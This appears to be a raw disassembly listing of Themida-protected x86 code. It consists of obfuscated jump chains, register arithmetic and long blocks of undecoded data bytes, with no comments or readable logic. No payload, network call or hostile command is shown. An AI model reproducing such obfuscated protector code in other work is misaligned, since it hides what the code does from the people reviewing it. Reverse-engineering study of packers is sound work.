		dd 0F787FFFFh, 0ADE9FD87h, 81000006h, 205441E2h, 8EAC150h
		dd 5305E2C1h, 0E31AAFBBh, 4EBC11Bh, 0FFE81EE9h,	3115B9FFh
		dd 0C681E928h, 5B7063EFh, 0EE81CE01h, 5B7063EFh, 0E9F50159h
		dd 0FFFFAE1Ch, 66D830ACh, 0E9336868h, 0FFFF75E4h, 240C8B66h
		dd 8904EC83h, 8B54243Ch, 0A6E9243Ch
		db 91h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_632B77:				; CODE XREF: Themida_:00632091j
		or	ebx, 5B3C15BEh
		shl	ebx, 5
		jmp	loc_628CBB
; ---------------------------------------------------------------------------
		db 89h,	3Ch, 24h
		dd 3D7A26BFh, 0CDBE5621h, 4E1BED72h, 0F681D6F7h, 83D6AC8h
		dd 8105EEC1h, 854C1CEh,	22F3E900h, 348B0000h, 4C48324h
		dd 0FF61C1E9h, 7E0C1FFh, 594D68h, 243C8900h, 0FE8DE953h
		dd 875AFFFFh, 0FF5C240Ch, 34FF2434h, 2434FF24h,	0E924148Bh
		dd 0FFFFC96Bh
; ---------------------------------------------------------------------------


loc_632BDC:				; CODE XREF: Themida_:0062B2B5j
		push	ebx
		mov	ebx, 244F7BC8h
		dec	ebx
		xor	ebx, 65342E0Ah
		sub	ebx, 417B55C9h
		mov	edx, ebx
		jmp	loc_63275C
; ---------------------------------------------------------------------------
		dw 0F829h
		dd 58C2895Fh, 335AD501h, 2C31242Ch, 242C3324h, 0FFAC58E9h
		dd 0FFE983FFh, 0FFB155E9h, 0AEE80FFh, 0FFBB83E9h, 44850DFFh
		dd 0D8F71B2Bh, 0FF818BE9h, 240483FFh, 24348B04h, 5304C483h
		dd 0A27EF6BBh, 0F2EB8177h, 177A27Eh, 0A5685BDEh, 89000062h
		dd 0EFE9241Ch, 5CFFFF73h, 0BA241489h, 4, 835AD101h, 148904ECh
		dd 176FBA24h, 0EA814E8Bh, 1, 1341CA81h,	0DAF74830h, 8104E2C1h
		dd 4E890CEAh, 99E98114h, 0E91FB738h, 0FFFFBCCDh, 0DE14BFBEh
		dd 1C6814Dh, 83000000h,	0E6C101EEh, 0B0BF5703h,	0F747A93Eh
		dd 0EE64E9D7h, 0EE81FFFFh, 5ED9335Fh, 4D70F681h, 0F229B02Dh
		dd 0FFCBD2E9h, 0E9E901FFh, 2481h, 3BE95659h, 5FFFFFCBh
		dd 7A56C181h, 0CF011F2Eh, 83240C8Bh, 3C8704C4h,	0E9535C24h
		dd 0FFFF679Ah, 0E04D0F6h, 19CDE9h, 1C8B5E00h, 4C48324h
		dd 0FF9C87E9h, 0E9C289FFh, 0FFFFE18Fh, 1568515Bh, 597E911Ah
		dd 1A11F181h, 0C2817E91h, 145F0268h, 0BE56CA01h, 145F0268h
		dd 595EF229h, 31241433h, 14332414h, 92E95C24h, 0FFFFF5Dh
		dd 9D68C0B7h, 89000005h, 0EC83240Ch, 24248904h,	4BB53h
		dd 5C010000h, 0E95B0424h, 0FFFF69B0h
; ---------------------------------------------------------------------------


loc_632D4C:				; CODE XREF: Themida_:00631682j
		add	esp, 4
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_62E402
; ---------------------------------------------------------------------------
		dd 1C8B5453h, 0D3A6E924h, 0BF57FFFFh, 4C7A5BB1h, 639AE94Fh
		dd 0B353FFFFh, 0A9686660h, 4896653h, 0F688B424h, 1EC80DCh
		dd 0E90EEC80h, 0FFFFADE1h, 555E5456h, 2918EC68h, 0E479E946h
		dd 0E952FFFFh, 0FFFFF789h, 51E38953h, 4B9h, 6CAFE900h
		dd 8951FFFFh, 4EC81E1h,	0E9000000h, 0FFFFA4B2h
; ---------------------------------------------------------------------------


loc_632DC0:				; CODE XREF: Themida_:0062A182j
		not	edx
		jmp	loc_62B135
; ---------------------------------------------------------------------------


loc_632DC7:				; CODE XREF: Themida_:00631E93j
		xor	ebx, [esp]
		pop	esp
		push	3166h
		mov	[esp], edi
		push	460Bh
		mov	[esp], ebx
		jmp	loc_62F26A
; ---------------------------------------------------------------------------
		dd 31241433h, 14332414h, 24248B24h, 9C243CD3h, 0FF5CC8E9h
		dd 264425FFh, 4CE91CC5h
		db 86h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_632DFF:				; CODE XREF: Themida_:0062F5C7j
		not	ebp
		neg	ebp
		shl	ebp, 5
		xor	ebp, 0B37F0D3Ch
		jmp	loc_6322F1
; ---------------------------------------------------------------------------
		db 8Bh,	34h, 24h
		dd 0E904C483h, 0FFFFDE4Ch, 731CC681h, 0EE016AD6h, 731CEE81h
		dd 2C8B6AD6h, 4C48324h,	2BB53h,	0AAE90000h
		db 87h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_632E3B:				; CODE XREF: Themida_:0062FEC1j
		mov	ecx, 4
		sub	esi, ecx
		pop	ecx
		jmp	loc_630E2B
; ---------------------------------------------------------------------------
		dd 0EB46E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_632E4E:				; CODE XREF: Themida_:0062BC56j
		push	ebx
		mov	ebx, 1
		add	[edx], ebx
		pop	ebx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4


loc_632E61:				; CODE XREF: Themida_:00631DC1j
		push	ebx
		push	0BDh
		mov	[esp], esi
		push	627876B9h
		pop	esi
		sub	dword ptr [esp+4], 2CF50ADFh
		jmp	loc_62C886
; ---------------------------------------------------------------------------
		db 29h,	0D0h, 5
		dd 0EAC77EAh, 2404335Ah, 33240431h, 248B2404h, 0B830E924h
		dd 0BB53FFFFh, 345B6956h, 0FFF3C4E9h, 4B8FFh, 44810000h
		dd 54CC0424h, 44012D50h, 2BE90424h, 81FFFF94h, 2AD8F7h
		dd 5FFD895Bh, 0A76E9h, 0FFFF2D00h, 0BA52FFFFh, 59BA6506h
		dd 0E903E2C1h, 0FFFF8E76h
; ---------------------------------------------------------------------------


loc_632ED8:				; CODE XREF: Themida_:0062E6AAj
		sub	edx, 2DD3B5EEh
		sub	eax, edx
		jmp	loc_630FE7
; ---------------------------------------------------------------------------


loc_632EE5:				; CODE XREF: Themida_:0062A129j
		xor	eax, ecx
		push	376h
		mov	[esp], eax
		not	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	ecx
		jmp	loc_6302FA
; ---------------------------------------------------------------------------
		dd 0AFE9EF01h
		db 65h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_632F03:				; CODE XREF: Themida_:0062F1D6j
		mov	ah, 0E7h
		xor	dl, ah
		jmp	loc_62C92F
; ---------------------------------------------------------------------------
		dd 8158C289h, 400870F2h, 38EE8131h, 15B9E38h, 0BE5655D6h
		dd 765D22A1h, 0C118E0BDh, 5EF53134h, 5FB7F581h,	0F5812826h
		dd 19C23D64h, 0C581DDF7h, 0CF1690CAh, 5A5DEE01h, 0E904C683h
		dd 781h, 0E9E18951h, 0FFFF9D10h, 8359CD01h, 2C8704C5h
		dd 53525C24h, 2B6900BBh, 2277BA2Dh, 0DA295F0Eh,	0AABA525Bh
		dd 5509D124h, 986007BDh, 0FAFDE953h, 4ACFFFFh, 0AD4DE99Fh
		dd 0E95FFFFFh, 0FFFF990Fh, 0E924048Fh, 0FFFF7391h
; ---------------------------------------------------------------------------


loc_632F94:				; CODE XREF: Themida_:0062ED43j
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_62DB58
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 0FDE6E924h, 0EAC1FFFFh, 0EA814A04h, 0ADFBBADEh, 815AD509h
		dd 905471F5h, 8AED816Dh, 13AEF0Fh, 242C8BEEh, 0FF8A72E9h
		dd 0CAE780FFh, 0FFC630E9h, 5AE3E9FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_632FDA:				; CODE XREF: Themida_:0062F759j
		mov	edi, [esp]
		add	esp, 4
		pop	ebp
		add	ecx, 1
		sub	ecx, 2C20C21h
		neg	ecx
		shl	ecx, 4
		push	edx
		mov	edx, 78BD5DE3h
		not	edx
		inc	edx
		add	edx, 45EA55A7h
		xor	ecx, edx
		pop	edx
		sub	ebp, 289E13EFh
		add	ebp, ecx
		add	ebp, 289E13EFh
		pop	ecx
		sub	ebp, 2
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_628ABD
; ---------------------------------------------------------------------------
		dd 55242C87h, 4EC81h, 3C890000h, 0E0D6E924h, 0FF68FFFFh
		dd 0E9000062h, 0FFFFB0E7h, 8904EC83h, 4BD242Ch,	29000000h
		dd 0E5E95DE8h, 9, 0F65966CFh, 9CE780D7h, 492EF80h, 1E49E9C3h
		dd 14890000h, 3EEF6824h, 148B0475h, 75D0E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_63307E:				; CODE XREF: Themida_:006295A4j
		xchg	ebx, [esp]
		jmp	loc_62FD4E
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 7868240Ch, 0E9000065h, 0FFFF82CAh, 6F263FBBh, 8BD92906h
		dd 0C483241Ch, 6E9C104h, 5376C981h, 0C1812CB4h,	83CFF1E2h
		dd 0E959CD31h, 0FFFF5B0Ah, 4C481h, 80050000h, 811ECC1Fh
		dd 100h, 2434FF00h, 4C48358h, 4EC81h, 1C890000h, 2434FF24h
		dd 8B2434FFh, 0FBE92404h
		db 0A1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6330E7:				; CODE XREF: Themida_:0062F440j
		push	edx
		mov	dl, 38h
		jmp	loc_62D25D
; ---------------------------------------------------------------------------
		db 89h
		dd 0FB0158C7h, 83E9505Fh, 0FEFFFF9Ah, 0D6F680CEh, 880FF680h
		dd 0CD805AF5h, 71CD800Bh, 0EDC0D5F6h, 0AEED8003h, 0C8BE800h
		dd 4C48124h, 66000000h,	8F38E95Bh, 0EC83FFFFh, 24048904h
		dd 8904EC83h, 43B9240Ch, 316B5B20h, 0FF04244Ch,	81592434h
		dd 4C4h, 89515800h, 0F019E9E1h,	8ABEFFFFh, 313F8231h, 0E1FE9F2h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_63315A:				; CODE XREF: Themida_:00632776j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		mov	ebx, [esp]
		jmp	loc_62EFA7
; ---------------------------------------------------------------------------
		db 33h
		dd 0E95C242Ch, 0FFFF5B11h
; ---------------------------------------------------------------------------


loc_633184:				; CODE XREF: Themida_:0062F58Ej
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_62B0AB
; ---------------------------------------------------------------------------
		db 89h,	0E3h, 81h
		dd 4C3h, 4EC8100h, 89000000h, 0EC83243Ch, 24048904h, 50154BB8h
		dd 1C0835Fh, 670DD0F7h,	5771FB10h, 0CF350FBFh, 5FF80163h
		dd 81585F50h, 565104EFh, 87D7F73Ch, 0E9DEF7F7h,	0FFFFD93Fh
		dd 3510E581h, 504D0B4Fh, 345E9h, 0E7E98100h, 0E90F11F5h
		dd 0FFFFB55Dh
; ---------------------------------------------------------------------------


loc_6331E8:				; CODE XREF: Themida_:00629766j
		or	edx, eax
		shl	edx, 1
		push	eax
		push	3A41h
		mov	[esp], edx
		push	55082EBEh
		mov	edx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_631827
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0C8B2434h, 4C48124h,	55000000h, 81E28952h, 4C2h, 4BE5600h
		dd 29000000h, 14875EF2h, 24895C24h, 0E598E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_633236:				; CODE XREF: Themida_:00629A4Fj
		xchg	ebx, [esp]
		pop	esp
		add	ecx, edi
		mov	eax, [ecx]
		push	dword ptr [esp]
		jmp	loc_632768
; ---------------------------------------------------------------------------
		dw 0D8F7h
		dd 1235D0F7h, 54B4E39h,	0D3538E9Fh, 75F5C381h, 0BD55203Ah
		dd 593D535Fh, 0FFF88BE9h, 0EDBD55FFh, 0F71DD57Eh, 0F2C581D5h
		dd 11DD57Eh, 1811E9E9h,	0C890000h, 583BE924h, 0BB68FFFFh
		dd 89000032h, 74B9240Ch, 816A1F67h, 0E64039E1h,	8141492Eh
		dd 0D128F3E9h, 0E9CA29C8h, 0FFFFEBC4h, 8304C483h, 0FF5102E9h
		dd 59042474h, 8B24048Fh, 0AE92424h, 66000016h, 6824048Bh
		dd 597Bh, 0E9241C89h, 0FFFF5BD0h
; ---------------------------------------------------------------------------


loc_6332CC:				; CODE XREF: Themida_:00629BEFj
		and	eax, edi
		push	dword ptr [esp]
		jmp	loc_62EB2D
; ---------------------------------------------------------------------------
		dw 0F681h
		dd 0FDFDFD78h, 0FFEB1FE9h, 0D8F75BFFh, 0D9089F2Dh, 0E8763552h
		dd 0C1014BF7h, 85E8E958h, 5657FFFFh, 86181BEh, 81DEF701h
		dd 0AA5325F6h, 0CE814E22h, 3DB87123h, 0FFC4E946h, 505CFFFFh
		dd 0BE56E089h, 0A3058h,	0CE81D6F7h, 540939FFh, 5C681h
		dd 0F0010002h, 0FF9F76E9h, 4C483FFh, 0FF5784E9h
		db 0FFh, 52h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_62EEA2
; ---------------------------------------------------------------------------
		dw 0C89h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_62EF4E
; ---------------------------------------------------------------------------


loc_633365:				; CODE XREF: Themida_:006303E2j
		pop	esp
		shr	edi, 2
		or	edi, 58247748h
		shl	edi, 6
		shl	edi, 5
		and	edi, 66F15496h
		sub	edi, 26F13FDCh
		add	esi, edi
		pop	edi
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_634596
; ---------------------------------------------------------------------------
		db 8Bh
		dd 26E92424h
		db 57h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_633397:				; CODE XREF: Themida_:0062A988j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		push	ebp
		jmp	loc_62B20F
; ---------------------------------------------------------------------------
		db 57h
		dd 0C7815F54h, 4, 0F1B85053h, 40012B3Ah, 0F704E0C1h, 0CF4DE9D8h
		dd 0B151FFFFh, 0BDB450DDh, 0E903E4C0h, 0FFFFCB59h, 0FDA6E981h
		dd 0CA89DB70h, 0E9D10159h, 0FFFFF6CAh
; ---------------------------------------------------------------------------


loc_6333E4:				; CODE XREF: Themida_:00631750j
		add	ebp, ecx
		pop	ecx
		sub	[esp+4], ebp
		pop	ebp
		mov	eax, [esp]
		push	edx
		jmp	loc_62F391
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 9Fh
		dd 16EDA1Bh, 9FE981E9h,	5D6EDA1Bh, 31240C33h, 0C33240Ch
		dd 3CD25C24h, 0F9E99C24h, 29FFFF8Ch, 0E32D5DE8h, 1239854h
		dd 0BA5253F8h, 5875DD6h, 0FFB65EE9h, 4CE95DFFh
		db 13h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_633433:				; CODE XREF: Themida_:006344E1j
		xor	[esp], edi
		jmp	loc_633867
; ---------------------------------------------------------------------------
		db 51h
		dd 0D6CB850h, 923513B3h, 2D48B14Fh, 3AB45BD8h, 0F701C083h
		dd 18D62DD0h, 0C189DFB2h, 60BAE958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_63345E:				; CODE XREF: Themida_:00633BC1j
		push	edi
		mov	edi, 4
		sub	ebp, 350C7814h
		add	ebp, edi
		jmp	loc_634AD0
; ---------------------------------------------------------------------------


loc_633471:				; CODE XREF: Themida_:006328B1j
		push	edi
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_62C788
; ---------------------------------------------------------------------------
		dd 17F7F281h, 956815D7h, 8900003Fh, 0DBB82404h,	81161A65h
		dd 9A1580C2h, 1745E914h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_63349E:				; CODE XREF: Themida_:00634991j
		mov	[esp], eax
		push	esp
		pop	eax
		push	ebp
		jmp	loc_62F5B8
; ---------------------------------------------------------------------------


loc_6334A9:				; CODE XREF: Themida_:00629C32j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_629417
; ---------------------------------------------------------------------------


loc_6334B9:				; CODE XREF: Themida_:00629BF5j
		not	dword ptr [esp]
		pop	ebx
		push	0
		sub	[esp], ebx
		pop	ebx
		push	esi
		mov	esi, 0C5DB3BF5h
		add	ebx, esi
		pop	esi
		sub	edx, 45822384h
		sub	edx, ebx
		add	edx, 45822384h
		pop	ebx
		jmp	loc_62ECCA
; ---------------------------------------------------------------------------


loc_6334E3:				; CODE XREF: Themida_:0063232Aj
		push	edx
		jmp	loc_634FAD
; ---------------------------------------------------------------------------
		db 59h,	0E9h, 0AFh
		db 0F8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6334EF:				; CODE XREF: Themida_:0062DB4Dj
		sub	esp, 4
		mov	[esp], ecx
		push	edx
		jmp	loc_634313
; ---------------------------------------------------------------------------
		dw 875Dh
		dd 895C2434h, 1BD242Ch,	9000000h, 34FF1C6Fh, 242C8B24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_62A484
; ---------------------------------------------------------------------------
		dw 0D3B8h
		dd 145BB27h, 0EA2958C5h, 0DFD6E95Dh, 0C281FFFFh, 0FC37675h
		dd 0EA81F201h, 0FC37675h, 81DA015Eh, 0D325E9EAh, 14875B68h
		dd 24248B24h, 4BB0F66h,	62E99C24h, 83FFFF55h, 0C28104C4h
		dd 4, 75EA68h, 240C8900h, 268h,	0B4C9E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_633576:				; CODE XREF: Themida_:00628AC8j
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ch, 56h
		and	ch, 3Bh
		neg	ch
		push	eax
		jmp	loc_62C8AC
; ---------------------------------------------------------------------------


loc_633596:				; CODE XREF: Themida_:0062B23Bj
		mov	esp, [esp]
		push	69E6h
		mov	[esp], ebx
		push	486h
		mov	[esp], esi
		mov	esi, 33C952AAh
		xor	esi, 2E3B30A5h
		jmp	loc_63492B
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 4C481h, 0B9510000h, 2EE84A5Fh, 0E981D9F7h, 0D117B59Dh
		dd 0FD73392Dh, 5C80108h, 8FD7339h, 10E66859h, 14890000h
		dd 719E924h, 0CEE90000h, 81FFFF54h, 0AA6844F3h,	7AEE8124h
		dd 16C6179h, 1435E9DEh,	0B6E90000h
		db 54h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_633607:				; CODE XREF: Themida_:0062C52Aj
		shl	eax, 6
		shl	eax, 5
		dec	eax
		jmp	loc_629221
; ---------------------------------------------------------------------------


loc_633613:				; CODE XREF: Themida_:0063447Aj
		sub	edi, 55646239h
		pop	edx
		add	edi, ebp
		add	edi, 50AA503Eh
		jmp	loc_62940F
; ---------------------------------------------------------------------------
		db 31h
		dd 34332434h, 24248B24h, 240C8B66h, 0FFA037E9h,	0E18951FFh
		dd 4C181h, 2AE90000h, 80FFFF9Bh, 0F28036CAh, 0BC4EE9C8h
		dd 34FFFFFFh, 89565824h, 4C681E6h, 83000000h, 348704C6h
		dd 8562E924h, 0DEB9FFFFh, 8179F916h, 4E6E19C1h,	10C1817Dh
		dd 0D1203711h, 1BC981E1h, 0E912664Ah, 0FFFF9F9Bh, 7D243481h
		dd 59517E1Bh, 0A25E957h, 57090000h, 2434FF1Ch, 8B54525Ah
		dd 0B9E92414h, 83FFFF92h, 3C8704EFh, 1C895C24h,	1D5BBB24h
		dd 0E955208Ch, 0FFFFBC73h, 28B6664h, 7E9F6866h,	24048966h
		dd 0FF53F0E9h, 243433FFh, 0E9243431h, 0FFFF5717h, 0FF243C89h
		dd 5F042474h, 8B24048Fh, 0B3E92424h, 0FFFFFFD1h, 62E92434h
		dd 83FFFFEDh, 59042404h, 3CB95152h, 0C1780474h,	814103E1h
		dd 8354A8E1h, 9CE98161h, 89400300h, 0D10159CAh,	0E810E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_63371A:				; CODE XREF: Themida_:006296EBj
		shr	eax, 18h
		xor	eax, ecx
		jmp	loc_62F030
; ---------------------------------------------------------------------------
		dd 2BA52h, 0EF810000h, 513305BCh, 0FE3EF81h, 0D7015A8Ch
		dd 0FE3C781h, 0BB535A8Ch, 4F096887h, 0FF7CE5E9h, 0C2814AFFh
		dd 8097A92Bh, 0E95AD001h, 0FFFF8180h, 565BDA01h, 8D1073BEh
		dd 71B85010h, 29108D10h, 0C28158C6h, 56EF2CF3h,	0FF676BE9h
		dd 0E78957FFh, 4C781h, 0EF810000h, 4, 5C243C87h, 0FF677FE9h
		dd 0BA52FFh, 81000000h,	0F61BD3C2h, 81CA293Eh, 0F61BD3EAh
		dd 5AD1873Eh, 5508E9C1h, 74367ABDh, 0C1C58113h,	811DB366h
		dd 0AE0BCBCDh, 0ACE58169h, 816A9F60h, 0D00722F5h, 0EFE6E96Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6337CA:				; CODE XREF: Themida_:0062C83Cj
		add	eax, 4
		jmp	loc_62FA61
; ---------------------------------------------------------------------------
		dd 19F4EA81h, 0D2F75F38h, 0FF6DF3E9h, 8BC821FFh, 0EC81240Ch
		dd 4, 89240489h, 4BE56E0h, 1000000h, 0BE565EF0h, 13C35137h
		dd 0FFA6A8E9h, 81EB80FFh, 0FFDA3EE9h, 24048BFFh, 4C481h
		dd 52500000h, 0D5189BBAh, 5AD08967h, 0E8C1D0F7h, 0E9554807h
		dd 0FFFFC5A8h, 56F2BBAh, 0E9D38942h, 0FFFF73B0h, 0C3815Eh
		dd 0E91F2B10h, 0FFFFD633h, 973E9DBFh, 0C8E922h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_63384E:				; CODE XREF: Themida_:0062E630j
		add	bl, al
		sub	bl, 89h
		jmp	loc_629AB3
; ---------------------------------------------------------------------------
		dd 9D1C77FFh, 14D35966h, 42E99C24h
		db 0D5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_633867:				; CODE XREF: Themida_:00633436j
		xor	edi, [esp]
		mov	esp, [esp]
		jmp	loc_62FCFA
; ---------------------------------------------------------------------------
		dw 1C8Bh
		dd 4C48324h, 582434FFh,	0FFC423E9h, 0C4835AFFh,	75B35304h
		dd 0EBC0CBFEh, 4EC38003h, 0E908E3C0h, 0FFFFAF85h, 0ABE9E108h
		dd 54FFFFA9h, 0FF8229E9h, 4C681FFh, 0E9000000h,	0FFFF867Ch
		dd 0AD3EE953h, 3C89FFFFh, 0FE6824h, 895F0000h, 0FE25E9FAh
		dd 85B8FFFFh, 2D373274h, 37327481h, 8758C501h, 248B242Ch
		dd 4C48324h, 0FF7283E9h, 243433FFh, 33243431h, 0B4E92434h
		dd 83FFFFB8h, 76E904ECh
		db 6Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6338F7:				; CODE XREF: Themida_:00629B53j
		mov	ebp, [esp]
		add	esp, 4
		mov	esi, eax
		pop	eax
		shr	esi, 8
		xor	esi, offset dword_6AC31C
		push	esi
		xor	dword ptr [esp], 162A1686h
		jmp	loc_635252
; ---------------------------------------------------------------------------
		dw 0F781h
		dd 49F435DEh, 367DBE05h, 53F80119h, 367DBEBBh, 0E9D82919h
		dd 0FFFFEF90h
; ---------------------------------------------------------------------------


loc_633930:				; CODE XREF: Themida_:0062B03Ej
		or	ebx, 4ECC01BEh
		jmp	loc_63484E
; ---------------------------------------------------------------------------
		db 0F7h
		dd 8E5C1D5h, 0FFE2AEE9h, 243C8BFFh, 0FFE48CE9h,	40D8F7FFh
		dd 0EE710735h, 0DAB9513Dh, 1025B3Bh, 0EE8159C8h, 4EA669DEh
		dd 0C681C629h, 4EA669DEh, 0FFD967E9h, 0E9CA01FFh, 176Ah
; ---------------------------------------------------------------------------


loc_633978:				; CODE XREF: Themida_:00629435j
		and	edx, 20217CDCh
		and	edx, 53360116h
		sub	edx, 33BF4BD8h
		neg	edx
		shr	edx, 6
		sub	edx, 0B9FB17DCh
		and	ecx, edx
		pop	edx
		add	ecx, 791D6517h
		shr	ecx, 4
		sub	ecx, 9A537B3Ch
		mov	eax, ecx
		pop	ecx
		or	edx, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_62E6A9
; ---------------------------------------------------------------------------
		dw 8966h
		dd 27E92414h
		db 99h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6339C3:				; CODE XREF: Themida_:00633B88j
		shr	edi, 5
		xor	edi, 2A73C178h
		jmp	loc_632085
; ---------------------------------------------------------------------------
		db 5Ch,	8Fh, 4
		dd 0ADF8E924h, 0BB53FFFFh, 816E0E1Ah, 8E9D931h,	0BBFFFF59h
		dd 5C1335BBh, 0EC81DBF7h, 4, 0F7241C89h, 535B2414h, 0FF9ED9E9h
		dd 48F5CFFh, 24248B24h,	326B68h, 24048900h, 0FF50A8E9h
		dd 0BCE957FFh, 5800000Ch, 946EF81h, 0D5E9372Eh
		db 0F4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_633A27:				; CODE XREF: Themida_:0062AF22j
		pop	edx
		add	esp, 4
		jmp	loc_628ABD
; ---------------------------------------------------------------------------


loc_633A33:				; CODE XREF: Themida_:00634436j
		mov	[esp], edx
		mov	dh, 0F0h
		or	dh, 1Ch
		jmp	loc_631169
; ---------------------------------------------------------------------------
		dd 5C240487h, 0B9240C89h, 4, 2CE9C801h,	53FFFFBBh, 0FF7538E9h
		dd 18F581FFh, 2928582Ch, 3C8B5DEBh, 4C48324h, 8B1C5F21h
		dd 0A8E9241Ch
		db 56h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_633A73:				; CODE XREF: Themida_:006350DDj
		xchg	ebp, [esp]
		jmp	loc_632AA8
; ---------------------------------------------------------------------------


loc_633A7B:				; CODE XREF: Themida_:00630D76j
		rol	byte ptr [esp],	cl
		pushf
		jmp	loc_63053D
; ---------------------------------------------------------------------------


loc_633A84:				; CODE XREF: Themida_:006314E1j
		push	dword ptr [esp+4]
		jmp	loc_6315A1
; ---------------------------------------------------------------------------
		db 0B7h, 7Dh, 0
		dd 1C8B66F8h, 0E2895224h, 4C281h, 0C2830000h, 5DE2E902h
		dd 83BDFFFFh, 0C1615D5Fh, 0E5C104EDh, 6EDC105h,	10E9D5F7h
		dd 0F7FFFFBAh, 59FCE9DFh, 6851FFFFh, 47656BF1h,	0FF596DE9h
		dd 835052FFh, 0C8904ECh, 0B03AB124h, 0E9C83083h, 0FFFF8527h
		dd 24048B66h, 0FFED4CE9h, 46859FFh, 8900005Eh, 0BF243Ch
		dd 51000000h, 24048157h, 2B9F21D1h, 83240C8Bh, 0E98104C4h
		dd 2B9F21D1h, 0FF5681E9h, 49D1F7FFh, 0A078BA52h, 0D12995BCh
		dd 0FF97B5E9h, 0E9C801FFh, 0FFFFA137h, 2EA815Eh, 52000000h
		dd 42474FFh, 24048F5Ah,	489665Ch, 4F7BE924h, 5266FFFFh
		dd 0F000B9B6h, 148B5A66h, 4C48324h, 0B5515366h,	0FE26B381h
		dd 51EB80CBh, 0E9FFEB80h, 0FFFF7366h, 24048B66h, 0FFCCF0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_633B6D:				; CODE XREF: Themida_:0063486Dj
		mov	ebp, 4
		add	ebx, ebp
		pop	ebp
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_628B88
; ---------------------------------------------------------------------------


loc_633B80:				; CODE XREF: Themida_:00631D2Ej
		sub	edi, 33B120B8h
		neg	edi
		jmp	loc_6339C3
; ---------------------------------------------------------------------------
		db 66h,	8Fh, 2
		dd 0FF7A4BE9h, 243431FFh, 0FFB028E9h, 59CB01FFh, 2BA52h
		dd 0D3010000h, 72C3E95Ah, 1C87FFFFh, 24248B24h,	2424D366h
		dd 0C7C6E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_633BBE:				; CODE XREF: Themida_:00631FC1j
		add	ebp, eax
		pop	eax
		jmp	loc_63345E
; ---------------------------------------------------------------------------
		dw 0F755h
		dd 2C8B2414h, 4C48124h,	0C1000000h, 0F58103E5h,	8DE514B4h
		dd 15DEE89h, 5E042474h,	4C7815Fh, 50000000h, 0FFF84AE9h
		dd 5BD901FFh, 2D59C829h, 2ED65B1Bh, 0B951D829h,	2ED65B1Bh
		dd 0E6E9C801h
		db 0A2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_633C0B:				; CODE XREF: Themida_:0062F17Aj
		add	esi, 65702E0Eh
		mov	ecx, [esp]
		add	esp, 4
		xor	esi, 560FA047h
		add	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		xor	eax, ebp
		pop	ebp
		push	eax
		mov	eax, 22D97A4Dh
		neg	eax
		not	eax
		or	eax, 6B930FB9h
		or	eax, 1666475Ch
		push	esi
		mov	esi, 5C481044h
		xor	eax, esi
		pop	esi
		jmp	loc_62B880
; ---------------------------------------------------------------------------
		db 5Ch,	81h, 0C4h
		dd 4, 418F6851h, 4890000h, 0FE4AB424h, 0BE06E9CCh, 1A68FFFFh
		dd 89000032h, 34FF241Ch, 0E9555824h, 0FFFFA51Bh, 4C381h
		dd 0EC830000h, 24148904h, 0C11FC8BAh, 4EAC151h,	0EAC1DAF7h
		dd 2EBE5607h, 0C1369D12h, 9CE903EEh, 8B000007h,	89662424h
